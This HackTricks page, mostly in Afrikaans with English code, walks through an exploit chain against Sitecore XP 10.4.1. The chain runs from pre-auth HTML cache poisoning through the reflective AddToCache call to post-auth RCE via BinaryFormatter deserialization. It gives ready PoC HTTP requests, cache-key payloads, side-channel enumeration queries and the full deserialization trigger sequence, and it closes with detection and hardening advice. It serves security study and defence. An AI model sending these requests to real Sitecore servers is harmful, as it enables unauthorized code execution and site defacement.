Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie bladsy som 'n praktiese aanvalsketting teen Sitecore XP 10.4.1 op wat skuif van 'n pre‑auth XAML handler na HTML cache poisoning en, via 'n authenticated UI flow, na RCE deur BinaryFormatter deserialization. Die tegnieke generaliseer na soortgelyke Sitecore weergawes/komponente en bied konkrete primitives om te test, detect en harden.
- Aangetaste produk: Sitecore XP 10.4.1 rev. 011628
- Reggestel in: KB1003667, KB1003734 (Junie/Juli 2025)
Sien ook:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Ingangspunt is die pre‑auth XAML handler wat in web.config geregistreer is:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Toeganklik via:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Die control tree sluit AjaxScriptManager in wat, by event-versoeke, aanvaller‑beheerde velde lees en reflektief metodes op geteikende controls aanroep:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Belangrike waarneming: die XAML-bladsy sluit 'n XmlControl-instantie in (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl stam af van Sitecore.Web.UI.WebControl ('n Sitecore-klas), wat die ReflectionUtil.Filter allow‑list (Sitecore.*) deurlaat en sodoende metodes op Sitecore WebControl ontsluit.
Magiese metode vir poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Omdat ons xmlcontrol:GlobalHeader kan teiken en Sitecore.Web.UI.WebControl methods by name kan aanroep, kry ons 'n pre‑auth arbitrary HtmlCache write primitive.
PoC request (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Aantekeninge:
- __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML).
- __PARAMETERS format is Method("arg1","arg2").
Wat om te vergiftig: Opbou van cache-sleutel
Tipiese HtmlCache-sleutelopbou wat deur Sitecore controls gebruik word:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Voorbeeld van geteikende poisoning vir 'n bekende sublayout:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Enumerering van cacheable items en “vary by” dimensies
As die ItemService (mis)blootgestel is anoniem, kan jy cacheable komponente opnoem om presiese sleutels af te lei.
Vinnige probe:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Lys cachebare items en vlae:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Soek na velde soos Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Toestelname kan geënumeer word via:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration onder beperkte identiteite (CVE-2025-53694)
Selfs wanneer ItemService as 'n beperkte account optree (e.g., ServicesAPI) en 'n leë Results array teruggee, kan TotalCount steeds pre‑ACL Solr hits weerspieël. Jy kan brute‑force item groups/ids met wildcards en kyk hoe TotalCount konvergeer om interne inhoud en devices in kaart te bring:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Bereikbaar via die convertToRuntimeHtml pipeline step ConvertWebControls, wat soek na 'n element met id {iframeId}_inner en base64 decodeer + deserialiseer, en dan die resulterende string in die HTML invoeg:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Trigger (geauthentiseer, Content Editor regte). Die FixHtml dialoog roep convertToRuntimeHtml aan. Eind-tot-eind sonder UI clicks:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. Die string se inhoud word in die HTML geskryf deur ConvertWebControls nadat deserialisering‑side‑effekte uitgevoer is.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Volledige ketting
- Pre‑auth aanvaller vergiftig HtmlCache met arbitrêre HTML deur reflectief WebControl.AddToCache aan te roep via XAML AjaxScriptManager.
- Vergiftigde HTML dien JavaScript op wat ’n geauthentiseerde Content Editor‑gebruiker deur die FixHtml‑vloei aanmoedig.
- Die FixHtml‑bladsy aktiveer convertToRuntimeHtml → ConvertWebControls, wat deur die aanvaller beheerde base64 via BinaryFormatter deserialiseer → RCE onder die Sitecore app pool‑identiteit.
Opsporing
- Pre‑auth XAML: versoeke na
/-/xaml/Sitecore.Shell.Xaml.WebControlmet__ISEVENT=1, verdagte__SOURCEen__PARAMETERS=AddToCache(...). - ItemService probing: pieke in
/sitecore/api/sscwildcard‑navrae, ’n grootTotalCountmet leëResults. - Deserialisering‑pogings:
EditHtml.aspxgevolg deurFixHtml.aspx?hdl=...en ongewone groot base64 in HTML‑velde.
Verharding
- Pas Sitecore‑patches KB1003667 en KB1003734 toe; gate/deaktiveer pre‑auth XAML‑handelaars of voeg streng validering by; moniteer en rate‑limit
/-/xaml/. - Verwyder/vervang BinaryFormatter; beperk toegang tot convertToRuntimeHtml of dwing sterk bediener‑kant validering van HTML‑bewerkingsvloei af.
- Sluit
/sitecore/api/sscaf tot loopback of geauthentikeerde rolle; vermy impersonation patterns watTotalCount‑gebaseerde side channels leak. - Handhaaf MFA/least privilege vir Content Editor‑gebruikers; hersien CSP om die JS‑steering‑impak van cache poisoning te verminder.
Verwysings
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks